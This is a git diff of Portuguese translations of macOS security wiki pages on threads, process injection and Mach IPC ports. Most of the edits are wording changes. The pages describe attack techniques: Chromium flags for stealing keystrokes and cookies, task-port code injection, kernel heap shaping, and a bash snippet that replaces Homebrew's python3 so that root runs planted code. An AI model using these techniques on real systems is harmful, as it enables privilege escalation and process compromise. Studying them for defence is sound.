2. **Limpeza de Threads:** Ao chamar `pthread_exit()`, a função `pthread_terminate()` é invocada, que lida com a remoção de todas as estruturas de thread associadas. Ela desaloca portas de thread Mach (Mach é o subsistema de comunicação no kernel XNU) e chama `bsdthread_terminate`, uma syscall que remove as estruturas de nível de kernel associadas à thread.
#### Mecanismos de Sincronização
@ -77,12 +77,12 @@ Para gerenciar o acesso a recursos compartilhados e evitar condições de corrid
- **Mutex Rápido (Assinatura: 0x4d55545A):** Semelhante a um mutex regular, mas otimizado para operações mais rápidas, também com 60 bytes de tamanho.
2. **Variáveis de Condição:**
- Usadas para esperar que certas condições ocorram, com um tamanho de 44 bytes (40 bytes mais uma assinatura de 4 bytes).
- **Atributos de Variável de Condição (Assinatura: 0x434e4441):** Atributos de configuração para variáveis de condição, com tamanho de 12 bytes.
- **Atributos de Variável de Condição (Assinatura: 0x434e4441):** Atributos de configuração para variáveis de condição, com 12 bytes de tamanho.
3. **Variável Once (Assinatura: 0x4f4e4345):**
- Garante que um trecho de código de inicialização seja executado apenas uma vez. Seu tamanho é de 12 bytes.
- Garante que um pedaço de código de inicialização seja executado apenas uma vez. Seu tamanho é de 12 bytes.
4. **Locks de Leitura-Gravação:**
- Permite múltiplos leitores ou um escritor por vez, facilitando o acesso eficiente a dados compartilhados.
- **Lock de Leitura-Gravação (Assinatura: 0x52574c4b):** Tamanho de 196 bytes.
- **Lock de Leitura-Gravação (Assinatura: 0x52574c4b):** Com 196 bytes de tamanho.
- **Atributos de Lock de Leitura-Gravação (Assinatura: 0x52574c41):** Atributos para locks de leitura-gravação, com 20 bytes de tamanho.
> [!TIP]
@ -107,7 +107,7 @@ No binário Mach-O, os dados relacionados a variáveis locais de thread são org
- **`__DATA.__thread_vars`**: Esta seção contém os metadados sobre as variáveis locais de thread, como seus tipos e status de inicialização.
- **`__DATA.__thread_bss`**: Esta seção é usada para variáveis locais de thread que não são explicitamente inicializadas. É uma parte da memória reservada para dados inicializados com zero.
Mach-O também fornece uma API específica chamada **`tlv_atexit`** para gerenciar variáveis locais de thread quando uma thread sai. Esta API permite que você **registre destrutores**—funções especiais que limpam os dados locais de thread quando uma thread termina.
Mach-O também fornece uma API específica chamada **`tlv_atexit`** para gerenciar variáveis locais de thread quando uma thread sai. Esta API permite que você **registre destrutores**—funções especiais que limpam dados locais de thread quando uma thread termina.
### Prioridades de Thread
@ -135,7 +135,7 @@ As classes de QoS são uma abordagem mais moderna para lidar com prioridades de
4. **Fundo:**
- Esta classe é para tarefas que operam em segundo plano e não são visíveis para o usuário. Estas podem ser tarefas como indexação, sincronização ou backups. Elas têm a menor prioridade e impacto mínimo no desempenho do sistema.
Usando classes de QoS, os desenvolvedores não precisam gerenciar os números de prioridade exatos, mas sim se concentrar na natureza da tarefa, e o sistema otimiza os recursos de CPU de acordo.
Usando classes de QoS, os desenvolvedores não precisam gerenciar os números de prioridade exatos, mas sim focar na natureza da tarefa, e o sistema otimiza os recursos de CPU de acordo.
Além disso, existem diferentes **políticas de agendamento de thread** que fluem para especificar um conjunto de parâmetros de agendamento que o escalonador levará em consideração. Isso pode ser feito usando `thread_policy_[set/get]`. Isso pode ser útil em ataques de condição de corrida.
@ -177,7 +177,7 @@ macos-electron-applications-injection.md
### Injeção de Chromium
É possível usar as flags `--load-extension` e `--use-fake-ui-for-media-stream` para realizar um **ataque man in the browser** permitindo roubar pressionamentos de tecla, tráfego, cookies, injetar scripts em páginas...:
É possível usar as flags `--load-extension` e `--use-fake-ui-for-media-stream` para realizar um **ataque man-in-the-browser** permitindo roubar pressionamentos de tecla, tráfego, cookies, injetar scripts em páginas...:
{{#ref}}
macos-chromium-injection.md
@ -234,7 +234,7 @@ Observe que executáveis compilados com **`pyinstaller`** não usarão essas var
> [!CAUTION]
> No geral, não consegui encontrar uma maneira de fazer o Python executar código arbitrário abusando de variáveis de ambiente.\
> No entanto, a maioria das pessoas instala Python usando **Homebrew**, que instalará Python em um **local gravável** para o usuário admin padrão. Você pode sequestrá-lo com algo como:
> No entanto, a maioria das pessoas instala Python usando **Homebrew**, que instalará Python em um **local gravável** para o usuário administrador padrão. Você pode sequestrá-lo com algo como:
>
> ```bash
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
@ -246,7 +246,7 @@ Observe que executáveis compilados com **`pyinstaller`** não usarão essas var
> chmod +x /opt/homebrew/bin/python3
> ```
>
> Mesmo **root** executará este código ao rodar o Python.
> Mesmo **root** executará este código ao executar o Python.
## Detecção
@ -257,11 +257,11 @@ Observe que executáveis compilados com **`pyinstaller`** não usarão essas var
- Usando **Variáveis Ambientais**: Ele monitorará a presença de qualquer uma das seguintes variáveis ambientais: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** e **`ELECTRON_RUN_AS_NODE`**
- Usando chamadas **`task_for_pid`**: Para descobrir quando um processo deseja obter o **port de tarefa de outro**, o que permite injetar código no processo.
- **Parâmetros de aplicativos Electron**: Alguém pode usar os argumentos de linha de comando **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`** para iniciar um aplicativo Electron em modo de depuração e, assim, injetar código nele.
- Usando **symlinks** ou **hardlinks**: Normalmente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para um local de maior privilégio**. A detecção é muito simples tanto para hardlinks quanto para symlinks. Se o processo que cria o link tiver um **nível de privilégio diferente** do arquivo de destino, criamos um **alerta**. Infelizmente, no caso de symlinks, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecurity da Apple.
- Usando **symlinks** ou **hardlinks**: Normalmente, o abuso mais comum é **colocar um link com nossos privilégios de usuário** e **apontá-lo para um local de maior privilégio**. A detecção é muito simples para ambos, hardlink e symlink. Se o processo que cria o link tiver um **nível de privilégio diferente** do arquivo de destino, criamos um **alerta**. Infelizmente, no caso de symlinks, o bloqueio não é possível, pois não temos informações sobre o destino do link antes da criação. Esta é uma limitação do framework EndpointSecurity da Apple.
### Chamadas feitas por outros processos
Em [**este post do blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) você pode encontrar como é possível usar a função **`task_name_for_pid`** para obter informações sobre outros **processos que injetam código em um processo** e, em seguida, obter informações sobre esse outro processo.
Neste [**post de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) você pode encontrar como é possível usar a função **`task_name_for_pid`** para obter informações sobre outros **processos que injetam código em um processo** e, em seguida, obter informações sobre esse outro processo.
Observe que, para chamar essa função, você precisa ser **o mesmo uid** que o que está executando o processo ou **root** (e ela retorna informações sobre o processo, não uma maneira de injetar código).

99
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
View File

@ -10,7 +10,7 @@ Mach usa **tarefas** como a **menor unidade** para compartilhar recursos, e cada
A comunicação entre tarefas ocorre via Comunicação Inter-Processos Mach (IPC), utilizando canais de comunicação unidirecionais. **Mensagens são transferidas entre portas**, que atuam como **filas de mensagens** gerenciadas pelo kernel.
Uma **porta** é o **elemento básico** do IPC Mach. Ela pode ser usada para **enviar mensagens e recebê-las**.
Uma **porta** é o **elemento básico** da IPC Mach. Ela pode ser usada para **enviar mensagens e recebê-las**.
Cada processo tem uma **tabela IPC**, onde é possível encontrar as **portas mach do processo**. O nome de uma porta mach é, na verdade, um número (um ponteiro para o objeto do kernel).
@ -21,14 +21,14 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma
Os direitos de porta, que definem quais operações uma tarefa pode realizar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (diferente de pipes, onde múltiplos processos podem manter descritores de arquivo para a extremidade de leitura de um pipe).
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo que ela envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
- Se o proprietário do Direito de Receber **morrer** ou matá-lo, o **direito de envio se torna inútil (nome morto).**
- Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Enviar**, permitindo que ela envie mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
- Se o proprietário do Direito de Receber **morrer** ou o matar, o **direito de enviar se torna inútil (nome morto).**
- **Direito de Enviar**, que permite enviar mensagens para a porta.
- O Direito de Enviar pode ser **clonado**, de modo que uma tarefa que possui um Direito de Enviar pode clonar o direito e **concedê-lo a uma terceira tarefa**.
- Note que **direitos de porta** também podem ser **passados** através de mensagens Mach.
- **Direito de Enviar uma vez**, que permite enviar uma mensagem para a porta e depois desaparece.
- Este direito **não pode** ser **clonado**, mas pode ser **movido**.
- **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar em várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
- **Direito de Conjunto de Portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
- **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
**Tarefas podem transferir direitos de ENVIO para outras**, permitindo que elas enviem mensagens de volta. **Direitos de ENVIO também podem ser clonados, então uma tarefa pode duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
@ -41,17 +41,17 @@ Portas de arquivo permitem encapsular descritores de arquivo em portas Mach (usa
Como mencionado anteriormente, é possível enviar direitos usando mensagens Mach, no entanto, você **não pode enviar um direito sem já ter um direito** para enviar uma mensagem Mach. Então, como a primeira comunicação é estabelecida?
Para isso, o **servidor de inicialização** (**launchd** no mac) está envolvido, já que **qualquer um pode obter um direito de ENVIO para o servidor de inicialização**, é possível pedir a ele um direito para enviar uma mensagem para outro processo:
Para isso, o **servidor de inicialização** (**launchd** no mac) está envolvido, já que **qualquer um pode obter um direito de ENVIO para o servidor de inicialização**, é possível solicitá-lo um direito para enviar uma mensagem para outro processo:
1. A tarefa **A** cria uma **nova porta**, obtendo o **DIREITO DE RECEBER** sobre ela.
2. A tarefa **A**, sendo a detentora do direito de RECEBER, **gera um DIREITO DE ENVIO para a porta**.
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, e **envia a ele o DIREITO DE ENVIO** para a porta que gerou no início.
2. A tarefa **A**, sendo a detentora do direito de RECEBER, **gera um DIREITO DE ENVIAR para a porta**.
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, e **envia a ele o DIREITO DE ENVIAR** para a porta que gerou no início.
- Lembre-se de que qualquer um pode obter um direito de ENVIO para o servidor de inicialização.
4. A tarefa A envia uma mensagem `bootstrap_register` para o servidor de inicialização para **associar a porta dada a um nome** como `com.apple.taska`
5. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização pelo nome do serviço** (`bootstrap_lookup`). Assim, para que o servidor de inicialização possa responder, a tarefa B enviará a ele um **DIREITO DE ENVIO para uma porta que criou anteriormente** dentro da mensagem de busca. Se a busca for bem-sucedida, o **servidor duplica o DIREITO DE ENVIO** recebido da Tarefa A e **transmite para a Tarefa B**.
5. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização pelo nome do serviço** (`bootstrap_lookup`). Para que o servidor de inicialização possa responder, a tarefa B enviará a ele um **DIREITO DE ENVIAR para uma porta que criou anteriormente** dentro da mensagem de busca. Se a busca for bem-sucedida, o **servidor duplica o DIREITO DE ENVIAR** recebido da Tarefa A e **transmite para a Tarefa B**.
- Lembre-se de que qualquer um pode obter um direito de ENVIO para o servidor de inicialização.
6. Com esse DIREITO DE ENVIO, a **Tarefa B** é capaz de **enviar** uma **mensagem** **para a Tarefa A**.
7. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **DIREITO DE RECEBER** e um **DIREITO DE ENVIO**, e dá o **DIREITO DE ENVIO para a Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
6. Com esse DIREITO DE ENVIAR, a **Tarefa B** é capaz de **enviar** uma **mensagem** **para a Tarefa A**.
7. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **DIREITO DE RECEBER** e um **DIREITO DE ENVIAR**, e dá o **DIREITO DE ENVIAR para a Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **impersonar qualquer tarefa do sistema**, como falsamente **reivindicando um nome de serviço de autorização** e, em seguida, aprovando cada solicitação.
@ -62,8 +62,8 @@ Para esses serviços predefinidos, o **processo de busca difere ligeiramente**.
- A tarefa **B** inicia uma **busca de inicialização** por um nome de serviço.
- **launchd** verifica se a tarefa está em execução e, se não estiver, **inicia**.
- A tarefa **A** (o serviço) realiza um **check-in de inicialização** (`bootstrap_check_in()`). Aqui, o **servidor de inicialização** cria um direito de ENVIO, retém-o e **transfere o direito de RECEBER para a Tarefa A**.
- O launchd duplica o **DIREITO DE ENVIO e o envia para a Tarefa B**.
- A tarefa **B** gera uma nova porta com um **DIREITO DE RECEBER** e um **DIREITO DE ENVIO**, e dá o **DIREITO DE ENVIO para a Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
- O launchd duplica o **DIREITO DE ENVIAR e o envia para a Tarefa B**.
- A tarefa **B** gera uma nova porta com um **DIREITO DE RECEBER** e um **DIREITO DE ENVIAR**, e dá o **DIREITO DE ENVIAR para a Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam como descrito originalmente, o que poderia potencialmente permitir a impersonação.
@ -108,12 +108,12 @@ Os tipos que podem ser especificados no voucher, portas locais e remotas são (d
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
```
Por exemplo, `MACH_MSG_TYPE_MAKE_SEND_ONCE` pode ser usado para **indicar** que um **direito de envio uma vez** deve ser derivado e transferido para este porto. Também pode ser especificado `MACH_PORT_NULL` para impedir que o destinatário possa responder.
Por exemplo, `MACH_MSG_TYPE_MAKE_SEND_ONCE` pode ser usado para **indicar** que um **direito de envio uma vez** deve ser derivado e transferido para esta porta. Também pode ser especificado `MACH_PORT_NULL` para impedir que o destinatário possa responder.
Para alcançar uma fácil **comunicação bidirecional**, um processo pode especificar um **porto mach** no **cabeçalho da mensagem** mach chamado de _porto de resposta_ (**`msgh_local_port`**) onde o **destinatário** da mensagem pode **enviar uma resposta** a esta mensagem.
Para alcançar uma fácil **comunicação bidirecional**, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem** mach chamada de _porta de resposta_ (**`msgh_local_port`**) onde o **destinatário** da mensagem pode **enviar uma resposta** a esta mensagem.
> [!TIP]
> Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente diferentes portas são criadas** como explicado anteriormente para criar a comunicação bidirecional.
> Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente portas diferentes são criadas** como explicado anteriormente para criar a comunicação bidirecional.
Os outros campos do cabeçalho da mensagem são:
@ -123,11 +123,11 @@ Os outros campos do cabeçalho da mensagem são:
- `msgh_id`: o ID desta mensagem, que é interpretado pelo destinatário.
> [!CAUTION]
> Note que **as mensagens mach são enviadas através de um `mach port`**, que é um canal de comunicação **de um único receptor**, **múltiplos remetentes** embutido no kernel mach. **Múltiplos processos** podem **enviar mensagens** para um porto mach, mas em qualquer momento apenas **um único processo pode ler** dele.
> Note que **mensagens mach são enviadas através de uma `mach port`**, que é um canal de comunicação **de um único receptor**, **múltiplos remetentes** embutido no kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
As mensagens são então formadas pelo cabeçalho **`mach_msg_header_t`** seguido pelo **corpo** e pelo **trailer** (se houver) e pode conceder permissão para responder a ele. Nesses casos, o kernel apenas precisa passar a mensagem de uma tarefa para a outra.
As mensagens são então formadas pelo cabeçalho **`mach_msg_header_t`** seguido pelo **corpo** e pelo **trailer** (se houver) e pode conceder permissão para responder a ela. Nesses casos, o kernel apenas precisa passar a mensagem de uma tarefa para a outra.
Um **trailer** é **informação adicionada à mensagem pelo kernel** (não pode ser definido pelo usuário) que pode ser solicitada na recepção da mensagem com as flags `MACH_RCV_TRAILER_<trailer_opt>` (há diferentes informações que podem ser solicitadas).
Um **trailer** é **informação adicionada à mensagem pelo kernel** (não pode ser definido pelo usuário) que pode ser solicitado na recepção da mensagem com as flags `MACH_RCV_TRAILER_<trailer_opt>` (há diferentes informações que podem ser solicitadas).
#### Mensagens Complexas
@ -153,17 +153,17 @@ mach_msg_descriptor_type_t type : 8;
Em 32 bits, todos os descritores têm 12B e o tipo de descritor está no 11º. Em 64 bits, os tamanhos variam.
> [!CAUTION]
> O kernel copiará os descritores de uma tarefa para outra, mas primeiro **criando uma cópia na memória do kernel**. Essa técnica, conhecida como "Feng Shui", foi abusada em vários exploits para fazer o **kernel copiar dados em sua memória**, fazendo um processo enviar descritores para si mesmo. Então, o processo pode receber as mensagens (o kernel as liberará).
> O kernel copiará os descritores de uma tarefa para a outra, mas primeiro **criando uma cópia na memória do kernel**. Essa técnica, conhecida como "Feng Shui", foi abusada em vários exploits para fazer o **kernel copiar dados em sua memória**, fazendo um processo enviar descritores para si mesmo. Então, o processo pode receber as mensagens (o kernel as liberará).
>
> Também é possível **enviar direitos de porta para um processo vulnerável**, e os direitos de porta simplesmente aparecerão no processo (mesmo que ele não esteja lidando com eles).
### APIs de Mac Ports
### APIs de Portas do Mac
Note que as portas estão associadas ao namespace da tarefa, então para criar ou buscar uma porta, o namespace da tarefa também é consultado (mais em `mach/mach_port.h`):
- **`mach_port_allocate` | `mach_port_construct`**: **Criar** uma porta.
- `mach_port_allocate` também pode criar um **conjunto de portas**: direito de recebimento sobre um grupo de portas. Sempre que uma mensagem é recebida, é indicado de qual porta ela veio.
- `mach_port_allocate_name`: Mudar o nome da porta (por padrão, um inteiro de 32 bits)
- `mach_port_allocate_name`: Mudar o nome da porta (por padrão, inteiro de 32 bits)
- `mach_port_names`: Obter nomes de portas de um alvo
- `mach_port_type`: Obter direitos de uma tarefa sobre um nome
- `mach_port_rename`: Renomear uma porta (como dup2 para FDs)
@ -176,23 +176,23 @@ Note que as portas estão associadas ao namespace da tarefa, então para criar o
Como as funções **`mach_msg`** e **`mach_msg_overwrite`** são as usadas para enviar e receber mensagens, definir um ponto de interrupção nelas permitiria inspecionar as mensagens enviadas e recebidas.
Por exemplo, comece a depurar qualquer aplicativo que você possa depurar, pois ele carregará **`libSystem.B`, que usará essa função**.
Por exemplo, comece a depurar qualquer aplicativo que você possa depurar, pois ele carregará **`libSystem.B` que usará essa função**.
<pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
</strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
</strong>Ponto de interrupção 1: onde = libsystem_kernel.dylib`mach_msg, endereço = 0x00000001803f6c20
<strong>(lldb) r
</strong>Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
</strong>Processo 71019 iniciado: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Processo 71019 parado
* thread #1, fila = 'com.apple.main-thread', razão de parada = ponto de interrupção 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
Alvo 0: (SandboxedShellApp) parado.
<strong>(lldb) bt
</strong>* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
</strong>* thread #1, fila = 'com.apple.main-thread', razão de parada = ponto de interrupção 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
@ -268,7 +268,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
O **nome** é o nome padrão dado à porta (verifique como está **aumentando** nos primeiros 3 bytes). O **`ipc-object`** é o **identificador** único **ofuscado** da porta.\
Note também como as portas com apenas o direito de **`send`** estão **identificando o proprietário** dela (nome da porta + pid).\
Note também como as portas com apenas o direito de **`send`** estão **identificando o proprietário** delas (nome da porta + pid).\
Também note o uso de **`+`** para indicar **outras tarefas conectadas à mesma porta**.
Também é possível usar [**procesxp**](https://www.newosxbook.com/tools/procexp.html) para ver também os **nomes de serviços registrados** (com SIP desativado devido à necessidade de `com.apple.system-task-port`):
@ -407,25 +407,25 @@ printf("Sent a message\n");
## Portas Privilegiadas
Existem algumas portas especiais que permitem **realizar certas ações sensíveis ou acessar certos dados sensíveis** caso uma tarefa tenha as permissões de **SEND** sobre elas. Isso torna essas portas muito interessantes do ponto de vista de um atacante, não apenas por causa das capacidades, mas porque é possível **compartilhar permissões de SEND entre tarefas**.
Existem algumas portas especiais que permitem **realizar certas ações sensíveis ou acessar certos dados sensíveis** caso uma tarefa tenha as permissões **SEND** sobre elas. Isso torna essas portas muito interessantes do ponto de vista de um atacante, não apenas por causa das capacidades, mas porque é possível **compartilhar permissões SEND entre tarefas**.
### Portas Especiais do Host
Essas portas são representadas por um número.
Os direitos de **SEND** podem ser obtidos chamando **`host_get_special_port`** e os direitos de **RECEIVE** chamando **`host_set_special_port`**. No entanto, ambas as chamadas requerem a porta **`host_priv`**, que apenas o root pode acessar. Além disso, no passado, o root podia chamar **`host_set_special_port`** e sequestrar arbitrariamente, o que permitia, por exemplo, contornar assinaturas de código ao sequestrar `HOST_KEXTD_PORT` (o SIP agora impede isso).
Os direitos **SEND** podem ser obtidos chamando **`host_get_special_port`** e os direitos **RECEIVE** chamando **`host_set_special_port`**. No entanto, ambas as chamadas requerem a porta **`host_priv`**, que apenas o root pode acessar. Além disso, no passado, o root podia chamar **`host_set_special_port`** e sequestrar arbitrariamente, o que permitia, por exemplo, contornar assinaturas de código sequestrando `HOST_KEXTD_PORT` (o SIP agora impede isso).
Essas portas são divididas em 2 grupos: As **primeiras 7 portas são de propriedade do kernel**, sendo a 1 `HOST_PORT`, a 2 `HOST_PRIV_PORT`, a 3 `HOST_IO_MASTER_PORT` e a 7 é `HOST_MAX_SPECIAL_KERNEL_PORT`.\
As que começam **a partir** do número **8** são **de propriedade de daemons do sistema** e podem ser encontradas declaradas em [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
- **Porta do Host**: Se um processo tiver privilégio de **SEND** sobre esta porta, ele pode obter **informações** sobre o **sistema** chamando suas rotinas como:
- **Porta do Host**: Se um processo tiver privilégio **SEND** sobre esta porta, ele pode obter **informações** sobre o **sistema** chamando suas rotinas como:
- `host_processor_info`: Obter informações do processador
- `host_info`: Obter informações do host
- `host_virtual_physical_table_info`: Tabela de páginas Virtual/Física (requer MACH_VMDEBUG)
- `host_statistics`: Obter estatísticas do host
- `mach_memory_info`: Obter layout de memória do kernel
- **Porta Priv do Host**: Um processo com direito de **SEND** sobre esta porta pode realizar **ações privilegiadas** como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros direitos **`com.apple.private.kext*`**, que são concedidos apenas a binários da Apple.
- `mach_memory_info`: Obter layout da memória do kernel
- **Porta Priv do Host**: Um processo com direito **SEND** sobre esta porta pode realizar **ações privilegiadas** como mostrar dados de inicialização ou tentar carregar uma extensão de kernel. O **processo precisa ser root** para obter essa permissão.
- Além disso, para chamar a API **`kext_request`**, é necessário ter outros direitos **`com.apple.private.kext*`** que são concedidos apenas a binários da Apple.
- Outras rotinas que podem ser chamadas são:
- `host_get_boot_info`: Obter `machine_boot_info()`
- `host_priv_statistics`: Obter estatísticas privilegiadas
@ -451,11 +451,13 @@ world.*/
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
- **TASK_KERNEL_PORT**\[task-self send right]: A porta usada para controlar esta tarefa. Usada para enviar mensagens que afetam a tarefa. Esta é a porta retornada por **mach_task_self (veja Tarefas de Porta abaixo)**.
- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: A porta de bootstrap da tarefa. Usada para enviar mensagens solicitando o retorno de outras portas de serviço do sistema.
- **TASK_HOST_NAME_PORT**\[host-self send right]: A porta usada para solicitar informações do host que contém. Esta é a porta retornada por **mach_host_self**.
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: A porta que nomeia a fonte da qual esta tarefa obtém sua memória de kernel fixa.
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: A porta que nomeia a fonte da qual esta tarefa obtém sua memória gerenciada padrão.
De [aqui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
- **TASK_KERNEL_PORT**\[direito de envio da tarefa-própria]: A porta usada para controlar esta tarefa. Usada para enviar mensagens que afetam a tarefa. Esta é a porta retornada por **mach_task_self (veja Tarefas de Porta abaixo)**.
- **TASK_BOOTSTRAP_PORT**\[direito de envio de bootstrap]: A porta de bootstrap da tarefa. Usada para enviar mensagens solicitando o retorno de outras portas de serviço do sistema.
- **TASK_HOST_NAME_PORT**\[direito de envio do host-próprio]: A porta usada para solicitar informações do host que contém. Esta é a porta retornada por **mach_host_self**.
- **TASK_WIRED_LEDGER_PORT**\[direito de envio do livro razão]: A porta que nomeia a fonte da qual esta tarefa obtém sua memória de kernel fixa.
- **TASK_PAGED_LEDGER_PORT**\[direito de envio do livro razão]: A porta que nomeia a fonte da qual esta tarefa obtém sua memória gerenciada padrão.
### Tarefas de Porta
@ -466,7 +468,7 @@ Existem duas funções muito interessantes relacionadas a isso:
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Obtém um direito de ENVIO para a porta da tarefa relacionada ao especificado pelo `pid` e o dá à `target_task_port` indicada (que geralmente é a tarefa chamadora que usou `mach_task_self()`, mas pode ser uma porta de ENVIO sobre uma tarefa diferente).
- `pid_for_task(task, &pid)`: Dado um direito de ENVIO a uma tarefa, encontra a qual PID esta tarefa está relacionada.
Para realizar ações dentro da tarefa, a tarefa precisava de um direito de `SEND` para si mesma chamando `mach_task_self()` (que usa o `task_self_trap` (28)). Com esta permissão, uma tarefa pode realizar várias ações, como:
Para realizar ações dentro da tarefa, a tarefa precisava de um direito de `SEND` para si mesma chamando `mach_task_self()` (que usa o `task_self_trap` (28)). Com essa permissão, uma tarefa pode realizar várias ações, como:
- `task_threads`: Obter direito de ENVIO sobre todas as portas de tarefa das threads da tarefa
- `task_info`: Obter informações sobre uma tarefa
@ -487,7 +489,7 @@ Lembre-se de que, como o **kernel também é uma tarefa**, se alguém conseguir
- Estas são as restrições para acessar a porta (do `macos_task_policy` do binário `AppleMobileFileIntegrity`):
- Se o aplicativo tiver a **`com.apple.security.get-task-allow` entitlement**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionada pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
- Aplicativos com a **`com.apple.system-task-ports`** entitlement podem obter a **porta da tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamada de **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
- **Root pode acessar portas de tarefa** de aplicativos **não** compilados com um **runtime endurecido** (e não da Apple).
- **Root pode acessar portas de tarefa** de aplicativos **não** compilados com um runtime **endurecido** (e não da Apple).
**A porta do nome da tarefa:** Uma versão não privilegiada da _porta da tarefa_. Ela referencia a tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é `task_info()`.
@ -508,6 +510,7 @@ Qualquer thread pode obter esta porta chamando **`mach_thread_sef`**.
Você pode pegar um shellcode de:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -778,7 +781,8 @@ Foi possível **injetar um shellcode simples** para executar um comando porque *
